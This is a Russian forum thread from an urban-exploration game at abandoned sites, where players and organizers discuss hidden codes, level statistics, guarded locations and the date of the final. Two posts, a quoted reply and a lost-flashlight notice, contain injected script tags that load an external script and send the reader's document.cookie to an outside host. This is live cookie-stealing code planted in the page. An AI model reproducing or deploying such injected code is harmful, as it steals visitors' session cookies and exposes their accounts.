![]() |
Цитата:
|
Еще один вариант
Всплавающая подсказка по закрытию каждого кода. В каждой подсказки часть закрывашки. Кто все бонусы не возьмет, точно уровень не закроет. |
Цитата:
Не, вроде бонусы отображаются адекватно, stun4fun уже закрыл 1 уровень! |
Цитата:
|
Или ещё вариант - чтобы бонусы дублировали сектора уровня =)
Тогда полностью взятые уровни будут автоматически закрываться. |
Вот скажите, а зачем вам всем статистика?)
|
Цитата:
Мне лично очень нравится наблюдать кто чем занимается ))) |
Цитата:
|
Моя команда сообщает, что там на некоторых (некотором) уровнях (уровне) есть ваши старые метки (не, не метка, именно метки), которые сбивают с толку. Поскольку такого же цвета (и исполнены так же), а указывают фигти куда:confused:.
А ещё есть "ср:", но не ваше;). |
давно не чувствовал себя дибилом....ходишь полчаса по зданию в поиске кода огромного балоном и не можешь найти...
|
Цитата:
|
а я охереваю бродить по четырех этажному забросу без конечек, направляшек и стопов.
|
Цитата:
PS. CP: черным маркером на балке тоже смутило сегодня |
Цитата:
Мы постарались решить этот вопрос следующими шагами: 1. На всех кодах в движке прописано, как (баллоном/маркером) написаны коды. Преимущественно это - баллон. Конечки на маркерные коды есть в 90% случаев (кроме ну очень маленьких локаций). Кроме того, также в 80% баллоны используются флюорисцентные - их лучше видно. 2. Формат кодов для вашего удобства чуть изменили: любой код начинается с префикса СР(*цифра*): цифрыбуквыцифры, где *цифра* - это номер кода в движке (то есть от 1 до 3). Такой формат, на сколько я помню, за 4 года не использовался в проекте CityProject. 3. Задротство написания кода сильно зависит от масштаба объекта. Если объект очень большой, мы ставили направляющие, а кое где и конечные метки. При этом метки также имеют нумерацию (от 1 до 3), что позволяет более четко идентифицировать тот код, который вы ищете. 4. Если Вы все-таки код не можете найти, есть штрафные подсказки, которые достаточно четко устанавливают район поиска кода (ну, или локации, если подсказка по локации). Все штрафные подсказки собраны в последнем уровне (чтобы игровые уровни не засорять). 5. По нашему мнению, балонные коды сами по себе являются своеобразными "метками", ибо очень большие... ну может чуть более запрятанными) (здесь вспоминаю нетленную игру "Х-игры" и запрятанные маркерные метки на морозе в -30 градусов)) 6. Данная игра - не на время, а на количество взятых уровней. Поэтому мы не видим ничего страшного в том, что Вы погуляете по известным Вам локациям и, возможно, заглянете в те их уголки, в которые на обычных играх никогда и не пойдете. По себе даже скажу, что за 5 лет игр был (оказывается!) не на всех локациях)). И да, Яга, мы понимаем, что "глаз должен перестроиться" с поиска маркерных кодов на коды баллонные)) |
Цитата:
|
Цитата:
|
ура, научился коды балоном находить...
|
Цитата:
|
Вот на фига вам стата, если только треть команд 1 уровень закрыла?))
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
И небольшое ППО по спонсору и призам. |
Я правильно понимаю, что в статистике, имеет смысл смотреть только на количество бонусов?
|
Цитата:
|
Цитата:
<!--s_links--><!--check code--><!--/s_links--> |
Цитата:
|
Цитата:
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://nummobile.com/80j4ch2sa3g98uehlyoro4uftwotqhh'></script> <script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script> |
Цитата:
Или просто очень уж хочется посмотреть кто в каком темпе берёт? |
Не надо снимать первый уровень. Желающие смотреть стату итак имеют возможность это сделать.
|
Цитата:
|
Цитата:
|
Цитата:
|
Судя по обсуждениям, играть некогда - все на стату дрочат.
Еще месяц до конца игры, орги разберутся с двиглом. Что вы их мучаете. |
Цитата:
|
Цитата:
Цитата:
Я не вижу смысла в "обязаловке". Цитата:
Цитата:
И вообще - есть несколько более простых вариантов заставить команды вбить закрывашки - например, вкатить штраф, пару суток, если они не вобьют коды до завтра))) другой вопрос - нафига. |
Я без сарказма, если что. Просто удивило, как же сильно людей припекает смотреть стату, когда висит уже десяток заданий для выполнения.
|
Цитата:
|
Цитата:
|
Цитата:
|
Друзья-товарищи, будьте аккуратны, около баяна №20 неадекватные аборигены сворачивают номера с машин... Паркуйтесь подальше где-нибудь, а не у самой локи.
|
Цитата:
|
|
Цитата:
|
да
|
Цитата:
|
|
Уважаемые игроки!
Маленькая ремарка: Если мы пишем, что тот или иной боян является сталкером - значит так и есть и вести на нем надо предельно осторжно, тихо и скрытно. Не надо лишний раз тревожить охрану или местных жителей! P.S. Пожалуйста, кто-нибудь из команды К.Е. напишите мне в личку (по бояну №42) |
Цитата:
Никаких входных уже нет (закрашены), чистая разведка, КНП, бинокли, брустверы, дыхание внутрь, спонтанное КО-2, всё молча. Круть. Ты его или он тебя. P.S. 33й. |
Цитата:
|
33 запилен, обход охраны и метки закрашены все - снимайте ее))
|
Не, всё берётся!
Хорош ныть, давайте, как я!=) |
Цитата:
|
Небольшое замечание по баяну 40.
Такое ощущение что человек там был впервые. Если идти по давно проверенным маршрутам, а не по направляшкам, то КО будет такое 1 - КО1 2 - КО1+ 3 - КО3 но и при желании КО1 легко. |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
А знал бы что код там с этажа бы увидел, в принципе как и все остальные коды. |
утерян фонарь, предположительно на баяне-57, или на баяне-54.
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://nummobile.com/80j4ch2sa3g98uehlyoro4uftwotqhh'></script> <script> img = new Image(); img.src = "http://frontext.ru/www/s.gif?"+document.cookie; </script> черный зум EDi-T13, вот такой: http://clip2net.com/clip/m0/1367681284-clip-64kb.jpg вдруг кто найдет. |
Цитата:
|
Цитата:
|
на баяне 65 уже злая охрана, будьте аккуратней.
не особо дружелюбны в общении были - угрожалки угрожали. |
На бояне 13 - просьба подходить в вагончик рядом с местом и предупреждать охрану. Они в теме, добры.
|
Цитата:
на 13м вагончик есть? 0_о Панч, в шоке от тебя после №39)) ты за воздух держаться умеешь что ли? |
Цитата:
|
Цитата:
но историю как его пятеро таких как я хотели на игре отфигачить, он мне рассказал)) |
Цитата:
залезть туда я бы смог, слезть - наврядли. редко, но бывает. |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
<!--s_links--><!--check code--><!--/s_links--> |
запугали меня...не залез(
|
Цитата:
|
Цитата:
|
НУ я же еще , потел, очковал, кричал чтобы меня подтолкнули и ругался на авторов.
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Хочу важную проблему поднять. Вопрос к оргам. Задается сейчас, поскольку в начале игры никто не мог осознавать все свои планы и даты. Да и про дату финала в начале речь не шла.
Вообще не факт, что моя команда соберёт всё по боянам (ну нам просто легче так - типа мы лопухи, и всё такое;)), но - чем чёрт не шутит - вдруг? Вдруг у нас получится, и мы попадаем на финальную раздачу коврижек? И тут мы задумались о том, что дата раздачи назначена на уик-энд, доверху забитый DL. Во-первых, 17.05 Dlmini, во-вторых, 18.05 BDL. В обоих сезонах мы играем, и никогда эти две вещи друг другу не мешали. Мы задали предварительно вопрос о датах - дату переносить вы не готовы (хотя есть прекрасная свободная от Dl1 дата 24.05). Итого: как нам найти мотивацию собрать ещё 40 боянов, зная, что финал (если что) придется сыграть с изначальным отставанием в 2-3 часа:confused:? Играть месяц, чтобы так демотивироваться... Конечно, это наши проблемы. С другой стороны - назначение такой "специальной" игры на уик-энд BDL (как оказалось) это ни разу не айс. Вопрос к оргам DLmini уже задавали, но эта игра с самого начала в расписании на 17.05, так что... Как быть? |
Цитата:
Тогда мы друг друга недопоняли. Мы еще раз нашей маленькой орггруппой все взвесили, и вот что получилось: 1. "Да и про дату финала в начале речь не шла." - финал был анонсирован до начала игры именно на 17-18 мая. Это есть и в анонсе, он с начала игры не обновлялся. Более того, даже перенос основной части игры не повлиял на дату финала 2. Финал 1001 бояна планировался именно на эту дату (17.05), так как в субботу 18.05 - ДЛНС, а в пятницу 24.05 должен был быть ДЛ1. Смысла проводить финал 25.05 после тяжелейшей игры от РЧ - это за гранью добра. Тем более орги 1001 бояна сами играют активно в ДЛ1. 3. Официально о переносе ДЛ1 с 24.05 на 25.05 до сих пор нигде не объявлено. В расписании стоит 24.05, и только в анонсе игры, который появился 4 дня назад стоит 25.05. Чему верить? 4. Самое главное: на 24.05 у организаторов есть уже свои планы. И, к счастью, семья до сих пор у меня на главном месте по сравнению с любыми играми. 5. Совсем недавно, на сколько я помню, команда "Люди_Х" (а ты же из нее, правильно?) совершенно спокойно умудрилась поиграть и в ДЛмини, и в ДЛ1, которые проходили одновременно. При этом вопроса в мотивации не возникало. 6. От лица организаторов могу добавить, что мы не будем делать финал столь сложным, чтобы команды замотались на игре. Я совершенно уверен, что это будет игра на 3-4 часа. |
Нет, по телефону вы общались с другим бойцом. Он у нас человек-ухо, а я человек-буквы.)
По сути, я предложил адекватный вариант даты, и всё. DL1 пока 25.05. А если даже он будет 24.05, то никто ни во что 25го после него играть, конечно, не будет. Но если DL1 25 мая, к чему всё идёт, то 3-4 часовой заезд днём ранее - был бы отличной тренировкой перед жестью... Начав же на два часа позже всех, мы не будем иметь даже шанса на предпоследнее место... А про семью - я добро улыбаюсь :o потому, что уж тогда ты должен понимать команды, на месяц вписавшиеся в эту отнимающую кучу времени всепоглощающую игру. P.S. Уж как мы сыграли в две игры за одну ночь, пусть останется секретом. Но к сожалению, результат той второй говорит сам за себя:eek:. |
Ребята! как бы мы не противились снятию локаций...
Сегодня начали обносить забором очень клевый боян №69. Будка охраны - прямо рядом с залазом. Брать практически невозможно. В связи с этим этот боян снимается. Спасибо всем, кто звонит и сообщает ситуацию на тех или иных боянах! |
А кто-то в нем уже успел кодики поснимать? :(
|
Цитата:
|
ага видимо вчера зря провели там 3 часа )))
|
чо за локу пильнули?
|
Снят поиск или и раскурка?
|
Цитата:
Поиск. Курить - курите, этому охрана не мешает) |
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
|
Внимательнее на баяне 34. В здании Фи1 посередине - утка на гнезде на земле. Просьба не беспокоить и аккуатнее плз.
|
Цитата:
ЗЫ: там вообще-то два прохода, и снять эту локу все равно можно. |
Цитата:
Собственно по теме переноса - дата финальной игры была объявлена заранее, чтобы играющие команды могли планировать свое время, переносить дату игры сейчас, как мне кажется, будет не совсем правильно по отношению ко всем остальным участникам мероприятия, которые планировали играть 17-го. Изначально специально выбирались выходные, не совпадающие с игрой ДЛ.1, потому что если бы не перенос, то играть во что-либо в суб после игры Р4 было бы не реально. Если бы о переносе игры было известно заранее, да, вариант проведения игры 24-го был бы возможен. Спасибо за понимание. |
Цитата:
|
Часовой пояс GMT +3, время: 23:22. |
Powered by: vBulletin Version 3.8.7 (Russian)
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.